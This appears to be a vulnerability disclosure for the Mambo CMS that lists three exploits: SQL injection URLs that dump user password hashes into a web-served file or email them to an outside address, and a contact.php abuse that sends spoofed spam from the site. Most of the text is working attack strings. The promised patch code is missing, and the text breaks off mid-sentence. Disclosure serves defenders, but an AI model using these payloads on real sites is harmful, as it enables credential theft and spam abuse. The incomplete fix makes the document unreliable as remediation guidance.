First of all, you will get a bunch of error when you try to open
banners.php without any arguments. This does reveal some vital information
like path on the server. This information is very important when using
"into outfile" feature of MySQL.
* First Exploit
http://localhost/mambo/banners.php?op=click&bid=100 UNION select
password from mos_users where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'
Here it's required that magic_quotes_gpc is turned off. And MySQL 4.x
is running. Because older versions don't support UNION function.
There are other cases of SQL Injection there. But they won't be a
trouble if you have magic_quotes_gpc turned on.
* Second Exploit
This one will work in all the cases. No matter
magic_quotes_gpc/register_globals are on/off. The bug is in "emailfriend/emailarticle.php"
file. In this file, the variable $id is not checked. Therefore, it is
possibgle to get the md5() password emailed to you. Check the following,
http://localhost/mambo/emailfriend/emailarticle.php?submit=submit&email=lifofifo20 () yahoo com&youremail=lifofifo20 ()
UNION select username,email,password from mos_users where id=1
In this case, username, md5() hashed password and email address of user
with id 1 will get deliverd to lifofifo20 () yahoo com
Note : The server needs to using MySQL 4.x
Fix : Add the follwing lines on the top of the
Note : Same patch should also be applied to "emailfriend/emailfaq.php"
* Third Exploit : Anonymous Emailer
In contact.php file, there is a function call like "sendmail($text,
$from, $name, $email_to, $sitename);". You can pass variables from the
url. So if you open it like,
spam&from=none&name=Admin&email_to=lifofifo20 () yahoo com&sitename=hackingzone.org
It will send email to lifofifo20 () yahoo com from "None".
And this is really enough to give your site a bad name. One can spam
from YOUR own site. Becase IP of the email sender and IP of your site
will be same and therefor the integrity of the message won't be a doubt.
This will also work irrespective of magic_quotes_gpc and
